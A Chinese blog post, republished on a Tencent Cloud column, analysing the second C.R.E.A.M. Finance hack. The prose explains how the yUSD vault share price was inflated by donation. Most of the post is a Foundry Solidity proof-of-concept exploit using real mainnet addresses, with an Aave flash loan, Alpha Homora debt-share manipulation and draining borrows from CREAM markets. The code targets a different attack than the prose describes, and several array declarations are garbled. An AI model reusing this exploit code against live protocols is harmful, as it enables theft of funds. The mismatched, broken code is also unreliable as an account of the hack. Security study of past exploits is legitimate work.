前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >C.R.E.A.M Hack with Yearn

C.R.E.A.M Hack with Yearn

作者头像
Tiny熊
发布2022-11-07 10:01:24
5490
发布2022-11-07 10:01:24
举报
文章被收录于专栏:深入浅出区块链技术

本文作者:bixia1994[1]

独乐乐,不如众乐乐。下面是我自己重现 CREAM 的第二次经典 HACK 的分析思路,以及 POC。其实我觉得锅应该 yEarn 来背。毕竟是 yEarn 与 Cream 合作的。

Ref

https://rekt.news/cream-rekt-2/

Ana

看起来像是 cryUSD 合约对 yUSD 的定价问题。yUSD 是 Curve 里面的三币池啊,针对 yUSD 的定价是根据 D 来确定的。是很难操纵的啊。cryUSD -> yUSD -> yDAI+yUSDC+yUSDT 这里需要查看的是 Cream 里面怎么对于 yUSD 进行定价

  1. cryUSD's underlying token is YvToken 从下图的 price oracle 的实现来看,underlying price 无法操纵,需要查看 pricePerShare 是否能够操纵
代码语言:javascript
复制
function getUnderlyingPrice(CToken cToken) public view returns (uint256) {
    ...
    if (yvTokens[underlying].isYvToken) { //0x4b5bfd52124784745c1071dcb244c6688d2533d3 is YvTokens
            return getYvTokenPrice(underlying);
        }
    ...
}
function getYvTokenPrice(address token) internal view returns (uint256) {
    YvTokenInfo memory yvTokenInfo = yvTokens[token];
    require(yvTokenInfo.isYvToken, "not a Yvault token");

    uint256 pricePerShare;
    address underlying;
    if (yvTokenInfo.version == YvTokenVersion.V1) {
        pricePerShare = YVaultV1Interface(token).getPricePerFullShare();
        underlying = YVaultV1Interface(token).token();
    } else {
        pricePerShare = YVaultV2Interface(token).pricePerShare(); //self._shareVaule();
        underlying = YVaultV2Interface(token).token();
    }

    uint256 underlyingPrice;
    if (crvTokens[underlying].isCrvToken) {
        underlyingPrice = getCrvTokenPrice(underlying);
    } else {
        underlyingPrice = getTokenPrice(underlying); //enter here, price set by admin
    }
    return mul_(underlyingPrice, Exp({mantissa: pricePerShare}));
}
function getTokenPrice(address token) internal view returns (uint256) {
        if (token == wethAddress) {
            // weth always worth 1
            return 1e18;
        }

        AggregatorInfo memory aggregatorInfo = aggregators[token];
        if (aggregatorInfo.isUsed) {
            uint256 price = getPriceFromChainlink(aggregatorInfo.base, aggregatorInfo.quote);
            if (aggregatorInfo.quote == Denominations.USD) {
                // Convert the price to ETH based if it's USD based.
                price = mul_(price, Exp({mantissa: getUsdcEthPrice()}));
            }
            uint256 underlyingDecimals = EIP20Interface(token).decimals();
            return mul_(price, 10**(18 - underlyingDecimals));
        }
        return getPriceFromV1(token); //enter here
    }

通过查看 yUSD 的_shareVaule 函数,其核心公式是:vaule = 10 _ precisionFactor _ freeFunds / totalSupply / preceisionFactor; 这里的 freeFunds 是可以操纵的。freeFunds = token.balanceOf() + totalDebt 最简单的方式是直接捐赠大量的 yCrv 给到这个池子里,从而增加 freeFunds 的数量。或者 deposit, 注意 deposit 时,deposit 有一个上限值,deposit limit,不能超过 limit - totalAssests 的值。deposit 会增加 freeFunds,同时也会增加 totalSupply,基本上是等比例的。

所以要增大 shareVaule,应该只是捐赠 token 即可。

代码语言:javascript
复制
@view
@internal
def _shareValue(shares: uint256) -> uint256:
    ...
    lockedFundsRatio: uint256 = (block.timestamp - self.lastReport) * self.lockedProfitDegration
    freeFunds: uint256 = self._totalAssets()
    precisionFactor: uint256 = self.precisionFactor
    if(lockedFundsRatio < DEGREDATION_COEFFICIENT):
        freeFunds -= (
            self.lockedProfit
             - (
                 precisionFactor
                 * lockedFundsRatio
                 * self.lockedProfit
                 / DEGREDATION_COEFFICIENT
                 / precisionFactor
             )
         )
    return (
        precisionFactor
       * shares
        * freeFunds
        / self.totalSupply
        / precisionFactor
    )
@view
@internal
def _totalAssets() -> uint256:
    # See note on `totalAssets()`.
    return self.token.balanceOf(self) + self.totalDebt # 0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8 token curve yPool

整理一下:

  1. flashloan DAI 存入到 yDAI
  2. add liquidity yDAI 到 yCrv
  3. donate yCrv 到 yUSD => inflat the yUSD price
  4. mint yUSD 到 cryUSD, borrow ETH, USDC, USDT, etc;
  5. swap ETH to DAI repay DAI

POC 的核心是:donate yUSD 增加 yUSD 的价格;mint 大量的 yUSD 作为抵押物,从而可以借走其他资产。关键点是如何去持有大量的 yUSD?拿着大量的 yUSD 去 mint into cryUSD,然后用 inflated price 来借贷出更多的其他 token。

  1. mint ETH to cryETH
  2. borrow yUSD from cryUSD, 1.5B /// yUSD cash in pool is too small, we need to amplify it. mint yUSD first
  3. donate yCrv to yUSDVault, increase price 0.5B
  4. mint cryUSD with increased price
  5. borrow others

谁持有大量的 yUSD 呢?或者谁持有大量的 yCrv?这道题最难的就是工程化,如何工程化的写出利润最大话的代码 DUSD 的 token 可以 redeem 成 yUSD。通过 DUSD 的合约来实现。

需要闪电贷 DAI,闪电贷 ETH,最好成本都可控;DAI -> Maker, flashMint ETH -> AAVE 52W ETH

需要值得注意的事情:

  1. 如何在 remove_liquidity_imbalance 里面,全部移除流动性,计算出能够得到的最大 yDAI 的数量?这里是使用了 magic number:uint amount = lp * 10058 /10000;
  2. 如何计算应该 swap 的 USDC 的数量?即 swap USDC to DUSD 这里也是使用 magic number:usdcAmount / 2
代码语言:javascript
复制
pragma solidity 0.8.12;

import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";

import "@openzeppelin/contracts/utils/Strings.sol";

contract AlphaAddr is DSTest, stdCheats {


Vm public vm = Vm(HEVM_ADDRESS);

address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant crySUSD = 0x4e3a36A633f63aee0aB57b5054EC78867CB3C0b8;
address public constant cryUSDC = 0x76Eb2FE28b36B3ee97F3Adae0C69606eeDB2A37c;
address public constant sUSD = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
address public constant SUSD_WETH = 0xf80758aB42C3B07dA84053Fd88804bCB6BAA4b5c; //sUSD = 0
address public constant UNI_WETH = 0xd3d2E2692501A5c9Ca623199D38826e513033a17; //UNI = 0
address public constant UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;
address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

address public constant unitroller = 0xAB1c342C7bf5Ec5F02ADEA1c2270670bCa144CbB; //comptorller

address public constant proxy = 0x5f5Cd91070960D13ee549C9CC47e7a4Cd00457bb;

address public constant coll = 0xe28D9dF7718b0b5Ba69E01073fE82254a9eD2F98; //collateral
address public constant aave = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
address public constant curve = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; //sUSD = 3, USDC = 1
address public constant aUSD = 0xBcca60bB61934080951369a648Fb03DF4F96263C;



}
interface aTokenLike {

}
interface ComptrollerLike {
function enterMarkets(address[] memory) external returns (uint[] memory);
function markets(address) external returns (bool,uint);
}

interface ERC20Like {
function balanceOf(address _owner) external view returns (uint256);
function transfer(address _to, uint256 _value) external;
function approve(address,uint) external;
function mint() external payable;
function withdraw(uint) external;
}
interface CollLike {
function mint(address token, uint amount) external ;
function burn(address token, uint amount) external ;
function balanceOf(address, uint) external view returns (uint);
function safeTransferFrom(address, address, uint, uint,bytes memory) external;
function setApprovalForAll(address, bool) external;
}
interface HomoBankLike {
function execute(
uint positionId,
address spell,
bytes memory data
) external returns (uint);
function borrow(address token, uint amount) external;
function repay(address token, uint amountCall) external;
function putCollateral(
address collToken,
uint collId,
uint amountCall
) external ;
function takeCollateral(
address collToken,
uint collId,
uint amount
) external ;
function borrowBalanceCurrent(uint positionId, address token) external view returns (uint);
function borrowBalanceStored(uint positionId, address token) external view returns (uint);
function accrue(address token) external;
function banks(address) external view returns (bool, uint8, address, uint, uint, uint,uint);
function getBankInfo(address) external view returns (bool, address, uint, uint, uint);
function resolveReserve(address token) external;
function getPositionDebtShareOf(uint, address) external returns (uint);

}
interface cTokenLike {
function mint(uint) external returns(uint);
function borrow(uint) external returns(uint);
function getCash() external view returns (uint);
}
interface AAVELike {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
interface CurveLike {
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
}
interface PairLike is ERC20Like{
function getReserves()
external
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes memory data
) external;
}
contract Calculator {
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn * 997;
uint numerator = amountInWithFee * reserveOut;
uint denominator = reserveIn * 1000 + amountInWithFee;
amountOut = numerator / denominator;
}

// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn * amountOut * 1000;
uint denominator = (reserveOut - amountOut) * 997;
amountIn = (numerator / denominator + 1);
}
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA * reserveB / reserveA;
}
///solve the equation
/// y = 997*x*r0 / (r1*1000+997*x)
/// y / (r0 - y) = (z - x) / (r1 + x)
/// solve Y => 3次方的方程,不是很好解 => z = 1.997 * x + 0.997 / r1 * x^2 => z = 1.997 * x



}
contract Helper is AlphaAddr, Calculator {
address public immutable owner;
uint public COLL_ID = uint256(uint160(UNI_WETH));
uint public POSITION_ID;
uint public COLL_AMOUNT;

constructor() {
owner = msg.sender;
CollLike(coll).setApprovalForAll(proxy, true);
ERC20Like(UNI_WETH).approve(coll, type(uint256).max);
ERC20Like(USDC).approve(curve, type(uint256).max);
ERC20Like(sUSD).approve(curve, type(uint256).max);
ERC20Like(sUSD).approve(crySUSD, type(uint256).max);
ERC20Like(sUSD).approve(proxy, type(uint256).max);
}
///swap ETH for UNI, add liquidity for UNI_WETH, and mint coll with lp
function prepare() public payable {
ERC20Like(WETH).mint{value: address(this).balance}();
uint z = ERC20Like(WETH).balanceOf(address(this)) - 1 ether;
uint x = z * 1000 / 1997;
ERC20Like(WETH).transfer(UNI_WETH, x);
(uint r0, uint r1, ) = PairLike(UNI_WETH).getReserves();
uint y = Calculator.getAmountOut(x, r1, r0);
PairLike(UNI_WETH).swap(y, 0, address(this), "");


(r0, r1, ) = PairLike(UNI_WETH).getReserves();
uint quoteY = Calculator.quote(y, r0, r1);
uint quoteZ = Calculator.quote(z-x, r1, r0);
uint amountA;
uint amountB;
if (quoteY <= z - x) {
amountA = y;
amountB = quoteY;
} else {
amountA = quoteZ;
amountB = z - x;
}
ERC20Like(WETH).transfer(UNI_WETH, amountB);
ERC20Like(UNI).transfer(UNI_WETH, amountA);
uint lp = PairLike(UNI_WETH).mint(address(this));

CollLike(coll).mint(UNI_WETH, lp);
COLL_AMOUNT = CollLike(coll).balanceOf(address(this), COLL_ID);

///swap some sUSD for step2
(r0, r1,) = PairLike(SUSD_WETH).getReserves();
uint sUSDAmount = Calculator.getAmountOut(1 ether, r1, r0);
ERC20Like(WETH).transfer(SUSD_WETH, 1 ether);
PairLike(SUSD_WETH).swap(sUSDAmount, 0, address(this), "");

res("prepare");



}
/// borrow 1000 sUSD, deposit 1000 lp
function step1() public {
HomoBankLike(proxy).borrow(sUSD, 1000 ether);
HomoBankLike(proxy).putCollateral(coll, COLL_ID, COLL_AMOUNT);
}

function step2(uint positionId) public {
POSITION_ID = positionId;
HomoBankLike(proxy).accrue(sUSD);
uint repayAmount = HomoBankLike(proxy).borrowBalanceStored(positionId, sUSD);
HomoBankLike(proxy).repay(sUSD, repayAmount - 1);

(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
require(totalDebt == 1, "totalDebt should be 1");
require(totalShare == 1, "totalShare should be 1");



}

function step3() public {
HomoBankLike(proxy).resolveReserve(sUSD);
(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
require(totalShare == 1, "totalShare should be 1");
require(totalDebt > 0, "totalDebt should be greater than 0");
}

function step4() public {
uint i = 0;
while (true) {
i++;
(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
try HomoBankLike(proxy).borrow(sUSD, totalDebt - 1) {
res("loop");
emit log_named_uint("success at ", i);
} catch {
emit log_named_uint("failed at ", i);
break;
}
}
}
/// step5: flashloan from AAVE, borrow USDC, swap USDC for sUSD at Curve, and deposit into CREAM crySUSD to increase liquidity for borrowing.
/// then continue to borrow sUSD again.
// function flashLoan(
//     address receiverAddress,
//     address[] calldata assets,
//     uint256[] calldata amounts,
//     uint256[] calldata modes,
//     address onBehalfOf,
//     bytes calldata params,
//     uint16 referralCode
// ) external;
function step5(uint usdcAmountBorrowed) public {
address[] memory tokens = new address[](1 "] memory tokens = new address[");
uint256[] memory amounts = new uint256[](1 "] memory amounts = new uint256[");
uint256[] memory modes = new uint256[](1 "] memory modes = new uint256[");
tokens[0] = USDC;
amounts[0] = usdcAmountBorrowed;
// amounts[0] = ERC20Like(USDC).balanceOf(aUSD);
modes[0] = 0;
AAVELike(aave).flashLoan(
address(this),
tokens,
amounts,
modes,
address(this),
abi.encode(amounts[0]),
uint16(0)
);
res("step5");
ERC20Like(USDC).transfer(owner, ERC20Like(USDC).balanceOf(address(this)));
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) public returns (bool) {
uint amount = abi.decode(params, (uint));
ERC20Like(USDC).approve(aave, amount * 101 / 100);


///swap USDC for sUSD
CurveLike(curve).exchange(int128(1),int128(3),amount,0);
///mint sUSD into crySUSD
uint sUSDAmount = ERC20Like(sUSD).balanceOf(address(this));
uint resMint = cTokenLike(crySUSD).mint(sUSDAmount);
require(resMint == 0, "mint failed");
address[] memory tokens = new address[](2 "] memory tokens = new address[");
tokens[0] = crySUSD;
tokens[1] = cryUSDC;
uint[] memory resEnter = ComptrollerLike(unitroller).enterMarkets(tokens);
require(resEnter[0] == 0, "enter failed");

step4();
res("after step4");

(,uint collateralRatio) = ComptrollerLike(unitroller).markets(crySUSD);

uint cash = cTokenLike(cryUSDC).getCash();
uint maxBorrowAmount = sUSDAmount / 10**12 * collateralRatio / 10**18;
uint borrowAmount = maxBorrowAmount > cash ? cash : maxBorrowAmount;

uint resBorrow = cTokenLike(cryUSDC).borrow(borrowAmount);
require(resBorrow == 0, "borrow failed");

sUSDAmount = ERC20Like(sUSD).balanceOf(address(this));
CurveLike(curve).exchange(int128(3),int128(1),sUSDAmount,0);

emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this)));

return true;



}
function onERC1155Received(address,address,uint,uint,bytes memory) external view returns (bytes4) {
return this.onERC1155Received.selector;
}

function res(string memory str) public {
emit log_named_string("=======HELPER=======", str);
emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this)));
emit log_named_uint("sUSD balance", ERC20Like(sUSD).balanceOf(address(this)));
(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
emit log_named_uint("totalDebt", totalDebt);
emit log_named_uint("totalShare", totalShare);
emit log_named_uint("debt share", HomoBankLike(proxy).getPositionDebtShareOf(POSITION_ID, sUSD));

}



}

contract Hack is AlphaAddr {
address public helper;
uint POSITION_ID;
constructor() {
helper = address(new Helper());

}
function start() public payable {
///
require(tx.origin == address(this), "bypass the only EOA check");
/// swap ETH for UNI, add liquidity for UNI_WETH, mint coll with lp
Helper(helper).prepare{value: msg.value }();
/// step1: execute: borrow sUSD, putCollateral into bank to bypass the coll>debt check
POSITION_ID = HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step1.selector));


/// step2: roll some blocks, repay amount
vm.roll(block.number + 300);
HomoBankLike(proxy).execute(POSITION_ID, helper, abi.encodeWithSelector(Helper.step2.selector, POSITION_ID));

/// steo3: resolveReserve to increase the total debt, while keep the total share unchanged
Helper(helper).step3();

/// step4: borrow sUSD again, to limit the borrow amount a little bit smaller than the totalDebt so that it can be trimed
HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step4.selector));

/// step5: flashloan from AAVE, borrow USDC, swap USDC for sUSD at Curve, and deposit into CREAM crySUSD to increase liquidity for borrowing.
/// then continue to borrow sUSD again.
HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 1_800_000e6));
res("after step5");
HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 10_000_000e6));
res("after step6");
// HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 10_000_000e6));
// res("after step7");



}

receive() external payable{}

function onERC1155Received(address,address,uint,uint,bytes memory) external view returns (bytes4){
return this.onERC1155Received.selector;
}

function res(string memory str) public {
emit log_named_string("=======HACKER=======", str);
emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this)));
}



}

contract FULL is AlphaAddr {
Hack public hack;

function setUp() public {
hack = new Hack();
}
function test_start() public {
vm.startPrank(address(hack), address(hack)); //to bypass the onlyEOA check
vm.deal(address(hack), 15 ether);
hack.start{value: 15 ether}();
vm.stopPrank();
}

}

参考资料

[1]

bixia1994: https://learnblockchain.cn/people/3295

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-06-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 深入浅出区块链技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Ref
  • Ana
    • 参考资料
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档